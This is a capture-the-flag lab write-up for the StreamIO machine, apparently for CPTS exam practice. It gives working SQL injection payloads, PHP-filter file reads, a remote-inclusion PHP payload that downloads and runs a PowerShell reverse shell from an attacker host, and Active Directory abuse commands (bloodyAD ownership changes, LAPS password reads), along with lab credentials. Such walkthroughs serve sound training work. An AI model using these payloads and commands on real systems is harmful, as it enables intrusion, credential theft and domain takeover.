Summary
StreamIO is a Windows domain controller running a PHP web application over HTTPS. The main site and a watch subdomain are both present. The watch subdomain hosts a movie search feature that blocks automated tools with a WAF redirect to blocked.php, but manual UNION injection in Burp works cleanly. Dumping the users table yields a list of MD5 hashes — hashcat cracks most, and Crackstation picks up the rest. yoshihide’s credentials reach a hidden admin panel.
With a valid session cookie, ffuf finds a debug parameter that accepts PHP stream wrappers. Reading index.php and master.php via php://filter leaks database credentials and a vulnerable code path: master.php passes a POST include parameter directly into eval(file_get_contents(...)), giving remote file inclusion and RCE as yoshihide.
Lateral movement comes in two steps. First, sqlcmd with the leaked db_admin credentials connects to a backup database holding a new hash for nikk37, which cracks and grants WinRM access and the user flag. Second, WinPEAS spots Firefox credential files in nikk37’s profile. Decrypting them with firepwd yields credentials for JDgodd, who has WriteOwner over the Core Staff group via BloodHound. Taking ownership and adding nikk37 to the group unlocks LAPS read access for the DC machine account. The LAPS password authenticates as local Administrator, and the root flag sits on a second user’s desktop.
Flags:
- User: SQLi → crack → yoshihide login → LFI/RFI → shell → sqlcmd backup DB → nikk37 hash → WinRM
- Root: WinPEAS → Firefox creds → firepwd → JDgodd → BloodHound → WriteOwner Core Staff → LAPS → Administrator
Detailed Walkthrough
Enumeration
Nmap Scan
Start with a full TCP port scan:
sudo nmap -p- --min-rate 1000 -T4 10.129.12.64 -oA TCP_allports
Extract open ports:
ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')
Run the detailed service scan:
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.12.64
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: streamIO.htb)
443/tcp open ssl/https
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows AD LDAP (Domain: streamIO.htb)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
- 443 (HTTPS) is the main attack surface. The SSL certificate SAN reveals
DNS:streamIO.htbandDNS:watch.streamIO.htb, giving two hostnames to work with before running any fuzzing- 80 (HTTP) shows a default IIS page, nothing there
- 5985 (WinRM) is open, any cracked credentials with the right group membership will get a shell
- Clock skew is about 7 hours. Sync before any Kerberos operations
Add both names to /etc/hosts:
sudo nano /etc/hosts
# 10.129.12.64 streamio.htb watch.streamio.htb
Web Enumeration
Port 80 is open, so the first stop is http://streamio.htb. It serves the default IIS welcome page — nothing there. But Nmap already flagged port 443, so switching to https://streamio.htb is the next move. The site is a movie streaming platform with a login page. Accepting the self-signed certificate warning gets you in.

Default password attempts and basic bypass attempts don’t work on the login page.

While browsing, and scanning in the background, a directory fuzz against the main site finds /admin.
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://streamio.htb/FUZZ -k

However, navigating there without credentials returns 403 Forbidden, confirming it exists and is restricted.

The SSL cert SAN already revealed watch.streamio.htb, so browsing to it is the next step. It loads a movie watch site. Wappalyzer confirms the stack is PHP 7.2.


Running a subdomain and vhost fuzz with a quick wordlist returns nothing on either host:
ffuf -u https://streamio.htb/ -H 'Host: FUZZ.streamio.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac -k

We know that these pages are running PHP, and we can run a .php fuzz to look for something new.
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://watch.streamio.htb/FUZZ -e .php -k

search.php comes back. The search form on a PHP backend is worth testing for SQL injection.

SQL Injection — watch.streamio.htb/search.php
Saving the Request and Testing sqlmap
Intercept the search request and send it to Repeater. The response tells us that Movie Streaming is currently unavailable due to Some security issues. So this might be a good target for SQL injection.


Let’s save this request to a file and test it with sqlmap:

sqlmap -r search.req --batch --level=3 --risk=2 --force-ssl


sqlmap triggers the WAF and gets redirected to blocked.php. Automated injection is not going to work here, so manual testing in Burp Repeater is the path forward.
Finding 1: Search Endpoint Blocks Automated Tools but Is Reachable via Manual Burp Manipulation
Manual UNION Injection
Test for SQL injection manually. A plain search for test returns results. Adding a quote and comment:
q=test'-- -
Returns nothing, suggesting the quote breaks the query and the comment terminates it cleanly. The injection point is confirmed.


Determine the number of columns with UNION SELECT, incrementing until output appears:
q=test' union select 1,2,3,4,5,6-- -

Output renders in columns 2 and 3. Now extract useful information:
q=test' union select 1,@@version,3,4,5,6-- -

Confirmed MSSQL. Get the current database user:
q=test' union select 1,user,3,4,5,6-- -

Enumerate databases by iterating db_name():
q=test' union select 1,db_name(5),3,4,5,6-- -

q=test' union select 1,db_name(6),3,4,5,6-- -

Two interesting databases: STREAMIO and streamio_backup.
Enumerate tables in STREAMIO using sysobjects:
q=test' union select 1,(select string_agg(concat(name,':',id),'|') from streamio..sysobjects where xtype='u'),3,4,5,6-- -

The users table has ID 901578250. Get its columns from syscolumns:
q=test' union select 1,(select string_agg(name,'|') from streamio..syscolumns where id='901578250'),3,4,5,6-- -

Dump the table:
q=test' union select 1,(select string_agg(concat(username,':',password),'|') from users),3,4,5,6-- -

The full dump includes 30 MD5 hashes.
Finding 2: MSSQL UNION Injection Dumps Full User Table Including MD5 Password Hashes
Cracking the Hashes
Save the hashes and crack with Hashcat (mode 0 = MD5):
hashcat -m 0 --user users.txt /usr/share/wordlists/rockyou.txt

Hashcat does not crack all of them. Run the remainder through Crackstation:

Note: Do not stop at one tool when cracking. If hashcat with rockyou misses hashes, try Crackstation, other wordlists, or rule sets before giving up. This box required both.
Recovered credentials include yoshihide:66boysandgirls..
Admin Panel Access
All of the credentials were tried at the login page, the only working one was yoshihide’s:

Logged in, the site doesn’t look much different except for a logout button now.

However, the admin page at /admin is now accessible. The panel allows deleting users, deleting movies, and leaving messages. Nothing directly exploitable in the UI.

But there are more options. First, capture the session cookie:

Now we can fuzz the admin panel for parameters using the authenticated cookie:
ffuf -k -u 'https://streamio.htb/admin/index.php?FUZZ=id' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Cookie: PHPSESSID=d83va2qpp5b3d13njac9f6o25v' -fs 1678

A debug parameter is found. Test it:
?debug=index.php # returns error

It’s likely something is preventing the output of index.php. Let’s try a PHP filter.
?debug=php://filter/convert.base64-encode/resource=index.php

The site spits out a mess of base64. We can decode the output:
echo '<BASE64>' | base64 -d

The decoded source contains database credentials: db_admin:B1@hx31234567890 but testing these credentials around doesn’t seem to unlock anything new.
Finding 3: PHP Wrapper LFI via debug Parameter Leaks Database Credentials from index.php
Fuzz for additional PHP files in the admin directory with the cookie:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://streamio.htb/admin/FUZZ -e .php -k -H "Cookie: PHPSESSID=d83va2qpp5b3d13njac9f6o25v"

Let’s read the newly found master.php the same way, via the filter wrapper:
?debug=php://filter/convert.base64-encode/resource=master.php

Decoding the output the same way as before, we get more source code, but there is a very interesting section here.

The page accepts a POST include parameter, fetches the content of whatever URL or file is provided, and passes it directly to eval(). This is remote file inclusion leading to arbitrary PHP code execution.
Finding 4: master.php Passes POST include Parameter to eval(file_get_contents()), Enabling Remote File Inclusion and RCE
Foothold — RFI via master.php
Setting Up the Payload
Clone ConPtyShell for a proper interactive shell:

Save Invoke-ConPtyShell.ps1 as con.ps1 in the web root. Create test.php to fetch and execute it:
<?php
system("powershell IEX(IWR http://10.10.16.60/con.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.60 9001");
?>
Start the HTTP server:
sudo python3 -m http.server 80

Start the listener:
stty raw -echo; (stty size; cat) | nc -lvnp 9001

Triggering RFI
Capture a GET request to admin/?debug=master.php in Burp and modify it:
- Change to POST
- Add
Content-Type: application/x-www-form-urlencoded - Set body to
include=http://10.10.16.60/test.php

Send the request and the shell connects as yoshihide:

yoshihide has no home directory on this machine. The user flag is not here.

Lateral Movement — sqlcmd to nikk37
The db_admin credentials extracted earlier are for the MSSQL instance running on the box. Use sqlcmd to query the streamio_backup database that was found during the SQLi enumeration:
sqlcmd -U db_admin -P 'B1@hx31234567890' -Q 'USE STREAMIO_BACKUP; select username,password from users;'

The backup database contains a new account: nikk37 with a hash not seen in the main database. Crack it:
hashcat -m 0 nikk37.hash /usr/share/wordlists/rockyou.txt

Credentials recovered: nikk37:[email protected]
evil-winrm -i 10.129.12.64 -u nikk37 -p '[email protected]'

Privilege Escalation
WinPEAS — Firefox Credentials
Transfer and run WinPEAS to automate enumeration:
cp /usr/share/peass/winpeas/winPEASx64.exe .
curl http://10.10.16.60/winPEASx64.exe -o winpeas.exe
.\winpeas.exe



WinPEAS flags Firefox credential files in nikk37’s profile. Download the Firefox profile directories using Evil-WinRM’s built-in download feature:
cd C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\

download br53rxeg.default-release

Decrypting Firefox Credentials
Clone firepwd and run it against the downloaded profile:
sudo git clone https://github.com/lclevy/firepwd
python3 firepwd.py -d br53rxeg.default-release


Four credential sets are recovered for slack.streamio.htb. However, testing them with NXC shows none of them authenticate. But looking closer, the first admin credential and the last user JDgodd seem to be the same user based on the JDg0dd pattern in the admin password. Mixing and matching, the working combination is JDgodd:JDg0dd1s@d0p3cr3@t0r.
Testing JDgodd Credentials
nxc smb 10.129.12.64 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'
nxc ldap 10.129.12.64 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'

SMB authentication works. LDAP authentication works. WinRM does not:
evil-winrm -i 10.129.12.64 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'

JDgodd is a valid domain account but not in a WinRM-capable group. Enumerate further with BloodHound.
BloodHound Enumeration
rusthound-ce -d streamio.htb -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -o ./bh -z
bloodhound-start
Note: BloodHound and Burp Suite both default to port 8080. Close Burp before starting BloodHound to avoid a port conflict.




Mark JDgodd as owned and run a Shortest Path from Owned Objects cypher:



JDgodd has WriteOwner over the Core Staff group. Members of Core Staff have LAPS read access on the DC.
Finding 5: JDgodd Has WriteOwner Over Core Staff, Which Holds LAPS Read Rights on the Domain Controller
Taking Ownership and Adding nikk37 to Core Staff
Take ownership of the group:
bloodyAD --host streamio.htb -d 10.129.12.64 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' set owner "Core Staff" JDgodd

Grant full control to allow member manipulation:
bloodyAD --host streamio.htb -d 10.129.12.64 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' add genericAll "Core Staff" JDgodd

Add nikk37 so the WinRM session gains LAPS access:
bloodyAD --host streamio.htb -d 10.129.12.64 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' add groupMember "Core Staff" Nikk37


Reading the LAPS Password
From the nikk37 WinRM session, read the legacy LAPS attribute on the DC machine account:
bloodyAD --host 10.129.12.64 -d streamio.htb -u Nikk37 -p '[email protected]' get object 'DC$' --attr name,ms-Mcs-AdmPwd

LAPS password recovered. Confirm it works:
nxc smb 10.129.12.64 -u administrator -p '28O6+3e(/lN#kl'

Domain Compromise
impacket-wmiexec streamio.htb/Administrator:'28O6+3e(/lN#kl'@10.129.12.64

The root flag is not on the Administrator desktop. A second user, Martin, has a Desktop directory and that is where the flag is:

Takeaways
How this box helped me prepare for the CPTS exam
-
This box is more CTF than exam, but the core skills still apply. This box had a lot of gotcha tricks, and exploits that are outside of the scope of the CPTS exam. However, there are still some useful things we can take from it. The SQL injection, PHP wrapper LFI, and Bloodhound enumeration are things you should know how to do. Be aware of this distinction when practicing boxes, the methodology matters more than the specific techniques.
-
When sqlmap is blocked, switch to Burp Repeater. WAF detection triggers on the specific payloads and request patterns that automated tools generate. Knowing how to manual test with UNION injection in Burp is useful as it does not carry those signatures. The test for the column count (incrementing UNION SELECT until output appears), finding which columns render, and chaining from version to schema to tables to data is a repeatable process worth ingraining.
-
Use multiple hash cracking tools. hashcat with rockyou missed several hashes on this box. Running the leftover hashes through Crackstation recovered what hashcat did not. On a real engagement or exam with a time limit, do not wait for a single tool to exhaust every rule set before trying another approach. Crackstation is fast for MD5 lookups and requires no setup.
-
Check every user’s Desktop and Documents when you land as Administrator. The root flag was on
Martin’s Desktop, not Administrator’s. On a real engagement this pattern appears when a secondary user account holds sensitive data, files, or flags that the admin account itself does not. After getting administrator access, walkC:\Usersand check each profile before concluding the engagement is done. You never know what secrets might point you to the next step.